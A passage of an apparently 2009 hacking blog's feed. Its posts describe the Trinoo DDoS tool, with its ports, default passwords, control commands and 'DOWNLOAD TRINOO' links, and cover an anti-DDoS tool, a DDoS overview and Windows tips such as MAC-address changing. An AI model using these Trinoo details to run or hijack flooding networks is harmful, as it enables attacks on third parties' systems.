justify;"&gt;The&lt;a title="Introduction post about Trinoo" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/trinoo.html"&gt; trinoo distributed denial-of-service system&lt;/a&gt; consists of 3 parts:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Client:&lt;/span&gt; The client is not part of the trinoo package. The telnet or Netcat program is used to connect to port 27665 of the "master." An attacker connects to a master to control the "broadcasts" that will flood a target.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Master:&lt;/span&gt; The master is contained in the file master.c in the trinoo package. While running, it waits for UDP packets going to port 31335. These packets are registration packets from the "broadcast." It also waits for connections to TCP port 27665. When a client connects to port 27665, the master expects the password to be sent before it returns any data. The default password is "betaalmostdone". When the master is run, it displays a "?" prompt, waiting for a password. The password is "gOrave".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Broadcast (or Beast):&lt;/span&gt; The broadcast is the code in trinoo that performs the actual flooding. It is ns.c in the trinoo package. When the broadcast is compiled, the IP addresses of the masters that can control it are hardcoded into the program. Starting the broadcast, a UDP packet is sent to port 31335 of each master IP, containing the data "*HELLO*". This packet registers the broadcast with the master. An attacker can then connect to the master and use the daemons to send a UDP flood.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.cisco.com/web/about/ac123/ac147/images/ipj/ipj_7-4/dos_figure_4.gif"&gt;&lt;img style="width: 295px; height: 225px;" title="Distributed Denial of Service Attack using MAsters and Daemons" src="http://www.cisco.com/web/about/ac123/ac147/images/ipj/ipj_7-4/dos_figure_4.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;There are six commands that a client can send to the master to cause the master to communicate with the broadcast. A master sending commands to a broadcast sends a UDP packet to port 27444 of the broadcast. The default password between the master and the broadcast daemon is "l44adsl". These are the six commands the client sends to the master:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;- - mtimer: &lt;/span&gt;  Sets a timer to DoS a target. The master sends a "bbb" command to the broadcast. This packet looks like: "bbb l44adsl 300" when observed on the network.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;- - dos:&lt;/span&gt;  Performs a Denial of Service attack on a machine. The dos command sends an "aaa" command to the broadcast. This packet looks like: "aaa l44adsl 10.1.1.1" when observed on the network.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;- - mdie:&lt;/span&gt;   Kills all broadcasts. An attacker cannot use this command when connected to the master unless an additional password is known, but an attacker can send their own UDP packet with the master-broadcast password ("l44adsl") to kill each of the broadcasts. The master then sends a "d1e" command to the broadcast daemon. This packet looks like: "d1e l44adsl" when observed on the network.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;- - mping:&lt;/span&gt;   Pings all broadcasts. The master sends a "png" command to each broadcast, and the broadcast returns with a "PONG" packet sent to UDP port 31335 of the master. When this packet is transmitted from the master to the broadcast daemon, it looks like: "png 144 adsl".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;- - mdos:&lt;/span&gt;  This command performs a Denial of Service attack on a list of machines. The master sends a "xyz" command to each broadcast. The packet looks like "xyz l44adsl 123:10.1.1.1:10.1.1.2:10.1.1.3:".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;- - msize:&lt;/span&gt;   This command sets the size of the UDP packets to use when performing a Denial of Service attack on a target. It is undocumented in the master's online help system. The master sends a "rsz" command to the broadcast daemon, and the packet looks like "rsz l44adsl 300".&lt;br /&gt;&lt;br /&gt;The DoS attack that trinoo broadcasts use is a UDP flood. Trinoo sends a large number of UDP packets containing 4 data bytes (all zeros) and coming from one source port to random destination ports on the target host. The target host returns &lt;a title="Internet Control Message Protocol (ICMP)" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/internet-control-message-protocol-icmp.html"&gt; ICMP&lt;/a&gt; Port Unreachable messages. The target host slows down because it is busy processing the UDP packets, and at this point, there will be little or no network bandwidth left.&lt;br /&gt;&lt;br /&gt;There is no reliable way to tell the difference between a trinoo flood and a UDP port scan, because it is not possible to determine if someone is monitoring the ICMP messages.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://d9n.blogspot.com/2009/08/download-trinoo.html" target="_blank"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;DOWNLOAD TRINOO&lt;/span&gt;&lt;/a&gt;  at Download Mall&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-685748824537358660?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/685748824537358660/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/using-trinoo.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/685748824537358660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/685748824537358660'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/using-trinoo.html' title='USING TRINOO'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3950766432993294539</id><published>2009-08-05T21:12:00.000-07:00</published><updated>2009-08-08T00:17:47.535-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>Win Anti Zomb [WAZ] - Anti dDOS tool</title><content type='html'>&lt;div style="font-weight: bold;" class="title"&gt;WAZ [ Win Anti Zomb ]&lt;/div&gt;Windows Based Anti Zombie Tool.&lt;br /&gt;&lt;p class="olive"&gt;SecNiche Security [http://www.secniche.org]&lt;/p&gt;WAZ is windows based Anti DDos tool written in VC++ and VC[API]. It comprise of anti symmetric ailment for the most devastating DDos agents termed to be as Zombie Agents. The tools are designed to serve the windows platform and to provide an ease to the users.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;The tool is functional and effective in stopping the Ddos agents. You can find lots of Ddos agents like &lt;a title="TRINOO" style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/trinoo.html"&gt;Trinoo&lt;/a&gt;, Shaft, &lt;a title="Stacheldraht" style="text-decoration: none; color: rgb(0, 0, 0);"  href="http://swizardb.blogspot.com/2009/08/stacheldraht.html"&gt;Stacheldraht&lt;/a&gt;, Mstream etc. They are considered to be the best agents to launch distributed denial of service attacks.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The WAZ consists of : waz_tester.exe  &amp;amp; waz_killer.exe&lt;br /&gt;&lt;img style="width: 140px; height: 197px;" src="http://www.secniche.org/projects/waz/img/waz_test.jpg" /&gt;            &lt;img style="width: 189px; height: 194px;" src="http://www.secniche.org/projects/waz/img/waz_killer.jpg" /&gt;            &lt;br /&gt;&lt;h2&gt;&lt;/h2&gt;&lt;div style="text-align: justify;"&gt;The malformed UDP packets with desired signatures are crafted and sent to the Zombie victim to dethrone the functionality of zombie agents. A test was taken using &lt;a style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/wireshark.html"&gt;WireShark&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;img style="width: 382px; height: 103px;" src="http://www.secniche.org/projects/waz/img/pack.jpg" /&gt;&lt;br /&gt;&lt;p class="olive"&gt;&lt;span style="font-weight: bold;"&gt;DOWNLOAD WAZ&lt;/span&gt; [Direct Download Links]&lt;br /&gt;&lt;/p&gt;&lt;a href="javascript:void();" onclick="location.href='http://www.secniche.org/projects/waz/waz-win-anti-zomb.rar';return false;"&gt;waz(v 1.0)-win-anti-zomb.rar&lt;/a&gt; | &lt;a href="javascript:void();" onclick="location.href='http://www.secniche.org/projects/waz/waz-win-anti-zomb.zip';return false;"&gt;waz(v 1.0)-win-anti-zomb.zip&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Visit the SecNiche Security [http://www.secniche.org] to download latest software!!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3950766432993294539?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3950766432993294539/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/win-anti-zomb-waz-anti-ddos-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3950766432993294539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3950766432993294539'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/win-anti-zomb-waz-anti-ddos-tool.html' title='Win Anti Zomb [WAZ] - Anti dDOS tool'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3810598057198677408</id><published>2009-08-05T20:49:00.000-07:00</published><updated>2009-08-08T00:00:13.376-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>TRINOO</title><content type='html'>&lt;div style="text-align: justify;"&gt;Trinoo (TrinOO) was the first DDOS tool to be discovered. Trinoo uses a handler/agent architecture, wherein an attacker sends commands to the handler via TCP and handlers and agents communicate via UDP. Trinoo generates UDP packets of a given size to random ports on one or multiple target addresses, during a specified attack interval. Targets include systems running various services known to have remotely exploitable buffer overflow security bugs, such as wu-ftpd, RPC services for "cmsd", "statd", "ttdbserverd", "amd", etc.&lt;br /&gt;&lt;br /&gt;Trinoo provides the ability for attackers to set up the denial of service network, on widely dispersed systems whose true owners don't even know are out of their control.&lt;br /&gt;&lt;br /&gt;Trinoo uses the following TCP Ports for its operation:&lt;br /&gt;Attacker to master: 27665/tcp&lt;br /&gt;Master to daemon(slave): 27444/udp&lt;br /&gt;Daemon(slave) to master: 31335/udp&lt;br /&gt;Daemons reside on the systems that launch that the attack, and masters control the daemon systems. Since Trinoo uses TCP, it can be easily detected and disabled.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.cisco.com/web/about/ac123/ac147/images/ipj/ipj_7-4/dos_figure_4.gif"&gt;&lt;img style="width: 295px; height: 225px;" title="Distributed Denial of Service Attack using MAsters and Daemons" src="http://www.cisco.com/web/about/ac123/ac147/images/ipj/ipj_7-4/dos_figure_4.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://d9n.blogspot.com/2009/08/download-trinoo.html" target="_blank"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;DOWNLOAD TRINOO&lt;/span&gt;&lt;/a&gt;  at Download Mall&lt;br /&gt;&lt;br /&gt;Related Posts :&lt;br /&gt;&lt;a title="Read about USING TRINOO and its commands, functionality and working in detail." style="text-decoration: none; font-weight: bold; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/using-trinoo.html"&gt;USING TRINOO&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3810598057198677408?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3810598057198677408/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/trinoo.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3810598057198677408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3810598057198677408'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/trinoo.html' title='TRINOO'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6762822367046117642</id><published>2009-08-05T07:52:00.000-07:00</published><updated>2009-08-08T00:16:34.726-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>Distributed denial-of-service (DDoS) Attack</title><content type='html'>&lt;span style="font-size:78%;"&gt;"This post explains DDoS attacks in detail, and also highlights the comparison &amp;amp; advantages over DoS Attacks"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left; float: left;"&gt;&lt;img style="width: 105px; height: 105px;" title="DDoS Attack" src="http://www.mybestratedwebhosting.com/images/ddos-attack.gif" alt="DDoS Attack" border="0" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;A &lt;a title="Denial-of-service attack (DoS attack) - Detailed Explanation" style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/denial-of-service-dos-attack.html"&gt;&lt;span style="font-weight: bold;"&gt;denial-of-service attack (DoS attack)&lt;/span&gt;&lt;/a&gt; or &lt;span style="font-weight: bold;"&gt;distributed denial-of-service attack (DDoS attack)&lt;/span&gt; is an attempt to &lt;span style="font-weight: bold;"&gt;make a computer resource unavailable to its intended users&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;DDoS attacks require engagement of multiple machines, which will be sending the  attack traffic to the victim.&lt;/li&gt;&lt;li&gt;The attacking machines donot belong to the attacker and are frequently called zombies, daemons, slaves, or agents. &lt;/li&gt;&lt;li&gt;Agents(Zombies) are usually poorly secured  systems at universities, companies, and homes—even at government institutions.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The attacker breaks into them, takes full control,  installs DDoS software on them and launch coordinated attacks them for the  attack.&lt;/li&gt;&lt;li&gt;Automated tools discover potential agent machines,  break into them, and install the attack code upon a single command from an  attacker, and report success back to her.&lt;/li&gt;&lt;li&gt;The master program, at a designated time, then communicates to any number of  "agent" programs, installed on computers anywhere on the Internet. The agents,  when they receive the command, initiate the attack.&lt;/li&gt;&lt;li&gt; This makes it difficult to detect because attacks originate  from several IP addresses.&lt;/li&gt;&lt;li&gt; If a single IP address is attacking a company, it can block  that address at its firewall. If it is 30000 this is extremely  difficult.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;TOOLS :&lt;/span&gt; &lt;span class="docEmphStrong"&gt;Shaft, &lt;/span&gt;&lt;span class="docEmphStrong"&gt;&lt;a title="Trinoo" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/trinoo.html"&gt;Trinoo&lt;/a&gt;, &lt;/span&gt;&lt;span class="docEmphStrong"&gt;Tribe Flood Network (TFN), &lt;/span&gt;&lt;span class="docEmphStrong"&gt;&lt;a title="Stacheldraht" style="text-decoration: none; color: rgb(0, 0, 0);"  href="http://swizardb.blogspot.com/2009/08/stacheldraht.html"&gt;Stacheldraht&lt;/a&gt;&lt;/span&gt;, &lt;span class="docEmphStrong"&gt;Tribe Flood Network 200 (&lt;/span&gt;TFN2K)&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.mybestratedwebhosting.com/images/ddos-attack-process.gif"&gt;&lt;img style="width: 379px; height: 270px;" src="http://www.mybestratedwebhosting.com/images/ddos-attack-process.gif" title="DDOS Attack being carried out with the help of handlers (slaves)" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6762822367046117642?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6762822367046117642/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/distributed-denial-of-service-ddos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6762822367046117642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6762822367046117642'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/distributed-denial-of-service-ddos.html' title='Distributed denial-of-service (DDoS) Attack'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6538183439967380915</id><published>2009-08-05T05:00:00.000-07:00</published><updated>2009-08-05T05:08:04.115-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>Adding your Own Items to Context Menu - Hacking Windows XP</title><content type='html'>&lt;div style="text-align: justify;"&gt;Adding an entry to a context menu is very simple. The most difficult part of solving my little puzzle was figuring out how to launch Outlook so it would automatically create a message and attach the desired file to it. After a few minutes on Google researching, I came across Outlook-Tips.net which is a great resource for just the information that I was looking for. According to &lt;a href="http://www.outlooktips.net/howto/commandlines.htm" target="_blank"&gt; outlooktips.net&lt;/a&gt;, I just had to launch Outlook with the /a switch and the name of the file. Once I had this information, I had all of the pieces of the puzzle and was ready to start putting it together. Perform the following steps to learn how to add your own item to any File Types context menu: &lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;First, open up My Computer.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Click on the Tools menu bar item and select Folder Options. &lt;/li&gt; &lt;li&gt;Click on the File Types tab to expose all of the different file types on your computer. &lt;/li&gt; &lt;li style="text-align: justify;"&gt;Because I usually send Word documents, I scrolled down the list of file types and selected the .doc file extension. Pick any other file extension for which you would like to add an entry.&lt;br /&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Once you have the entry selected, click the Advanced button to bring up the Edit File type window. &lt;/li&gt; &lt;li style="text-align: justify;"&gt;Click the New button to add an entry. &lt;/li&gt; &lt;li style="text-align: justify;"&gt;In the Action box, type in the name that you want to appear on the menu. I typed in &lt;b&gt;Send Attached to Message&lt;/b&gt;. &lt;/li&gt; &lt;li style="text-align: justify;"&gt;In the Application Used to Perform Action box, you will want to specify the application and any switches that you will want to use for this new entry. Click on the Browse button to easily browse to an executable file. I navigated until I found OUTLOOK.EXE inside the OFFICE11 folder. &lt;/li&gt; &lt;li style="text-align: justify;"&gt;When you click OK, the path to the executable file will fill the box. Now you will want to add any application flags at the end of the line. To tell Outlook to create a new message and attach a file to it, I had to add /a after the path followed by &lt;b&gt;%L&lt;/b&gt;. The %L is a system variable that holds the name of the file that you are right-clicking on. When I was finished, my box looked like the following (including the quotes): "C:\Program Files\Microsoft Office\OFFICE11\OUTLOOK.EXE" /a "%L".&lt;br /&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt; When you are finished editing your new entry, click OK to save it. &lt;/li&gt;&lt;/ol&gt;You are now finished adding an entry to a specific File Types context menu. If you followed all of the previous steps to add the "Send Attached to message" entry, every time you right-click on a Word document, you will now see the new entry, as shown in Figure&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://common.ziffdavisinternet.com/util_get_image/10/0,1425,sz=1&amp;amp;i=102409,00.jpg" alt="What the context menu will look like after the Send Attached to Message is attached." border="0" /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6538183439967380915?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6538183439967380915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/hacking-windows-xp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6538183439967380915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6538183439967380915'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/hacking-windows-xp.html' title='Adding your Own Items to Context Menu - Hacking Windows XP'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-201534918025325773</id><published>2009-08-05T02:15:00.001-07:00</published><updated>2009-08-05T03:25:36.559-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>CHANGING WINDOWS PHYSICAL(MAC) ADDRESS</title><content type='html'>&lt;div style="text-align: justify;"&gt;This is depending on the type of Network Interface Card (NIC) you have. If you have a card that doesn’t support Clone MAC address, then try method 2&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;METHOD 1&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;a.  Start &gt; Run &gt;  devmgmt.msc  or Open "Device Manager"&lt;br /&gt;b.  Choose your desired NIC under the "Network Adapters" category.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;c.  Right Click on the selected NIC and choose "Properties".&lt;br /&gt;d.  Click on “Advanced” tab.&lt;br /&gt;e. Under “Property section”, you should see an item called “Network Address” or "Locally Administered Address", click on it.&lt;br /&gt;&lt;/div&gt;f.   On the right side, under “Value”, type in the New MAC address you want to assign to your NIC. Usually this value is entered without the “-“ between the MAC address numbers.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;g.  Goto command prompt and type in “ipconfig /all” or “net config rdr” to verify the changes.&lt;br /&gt;&lt;/div&gt;h. If successful, reboot your systems.&lt;br /&gt;&lt;a href="http://www.klcconsulting.net/images/smac/locallyAdminAddress.gif"&gt;&lt;div style="text-align: center;"&gt;&lt;img style="width: 258px; height: 290px;" src="http://www.klcconsulting.net/images/smac/locallyAdminAddress.gif" /&gt;&lt;/div&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;METHOD 2&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As you can see the above method is very convenient but not all network cards offer such an option. For example, &lt;em&gt;Broadcom 440x 10/100&lt;/em&gt; ( used in Dell Inspiron 1501 laptops ) does not allow to change its MAC address through the Properties window. In such cases the following method will solve the problem.&lt;/div&gt;&lt;p&gt;&lt;/p&gt;1. Go to &lt;strong&gt;Start &gt; Run&lt;/strong&gt; and type &lt;strong&gt;regedt32&lt;/strong&gt;  [NOT regedit] in the box to start the registry editor.&lt;br /&gt;&lt;p&gt;2. Go to the following registry key:  &lt;strong&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}&lt;strong&gt; &lt;/strong&gt;&lt;/strong&gt;and double click on it to expand the tree.&lt;/p&gt;3. Now you can see the subkeys starting with &lt;strong&gt;0000&lt;/strong&gt;, then&lt;strong&gt; 0001, 0002, 0003, 0004&lt;/strong&gt; and so on. Each of them represents  particular network adapter.&lt;br /&gt;&lt;p&gt;4. Go through each subkey and look for&lt;strong&gt; DriverDesc&lt;/strong&gt; keyword, that matches the network card you want to change the MAC address.&lt;/p&gt;5. Look for a string value named&lt;strong&gt; “NetworkAddress”, &lt;/strong&gt;right click on it and  select &lt;strong&gt;Modify&lt;/strong&gt;. Then enter a new MAC address in its value data box.  If the value &lt;strong&gt; “NetworkAddress”&lt;/strong&gt; does not exist, then create one with right click on the subkey ( for example 0008 ), then select &lt;strong&gt;New&lt;/strong&gt; &amp;gt; &lt;strong&gt;String Value&lt;/strong&gt;, name the new value as &lt;strong&gt;NetworkAddress&lt;/strong&gt; and repeat the above step.&lt;br /&gt;&lt;br /&gt;&lt;p style="text-align: center;"&gt;&lt;a href="http://pc-level.com/wp-content/uploads/2009/06/change-mac-address-in-the-registry-editor1.bmp"&gt;&lt;img style="width: 367px; height: 213px;" class="aligncenter size-full wp-image-1230" title="change-mac-address-in-the-registry-editor1" src="http://pc-level.com/wp-content/uploads/2009/06/change-mac-address-in-the-registry-editor1.bmp" alt="change-mac-address-in-the-registry-editor1" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a href="http://pc-level.com/wp-content/uploads/2009/06/change-mac-address-in-the-registry-editor4.bmp"&gt;&lt;img style="width: 369px; height: 208px;" class="aligncenter size-full wp-image-1227" title="change-mac-address-in-the-registry-editor4" src="http://pc-level.com/wp-content/uploads/2009/06/change-mac-address-in-the-registry-editor4.bmp" alt="change-mac-address-in-the-registry-editor4" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://pc-level.com/wp-content/uploads/2009/06/change-mac-address-in-the-registry-editor2.bmp"&gt;&lt;img style="width: 366px; height: 205px;" class="aligncenter size-full wp-image-1228" title="change-mac-address-in-the-registry-editor2" src="http://pc-level.com/wp-content/uploads/2009/06/change-mac-address-in-the-registry-editor2.bmp" alt="change-mac-address-in-the-registry-editor2" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;6. You must restart your computer for the change to take effect.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-201534918025325773?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/201534918025325773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/changing-windows-physicalmac-address.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/201534918025325773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/201534918025325773'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/changing-windows-physicalmac-address.html' title='CHANGING WINDOWS PHYSICAL(MAC) ADDRESS'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7555445946695274695</id><published>2009-08-04T12:29:00.000-07:00</published><updated>2009-08-07T12:00:22.102-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>WIRESHARK</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a alt="WIRESHARK sniffer capturing Live Data on Ubuntu." title="WIRESHARK sniffer capturing Live Data on Ubuntu" href="http://upload.wikimedia.org/wikipedia/commons/0/03/Wireshark_screenshot.png"&gt;&lt;img style="width: 318px; height: 196px;" src="http://upload.wikimedia.org/wikipedia/commons/0/03/Wireshark_screenshot.png" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:78%;"&gt;Fig. WIRESHARK sniffer capturing Live Data on 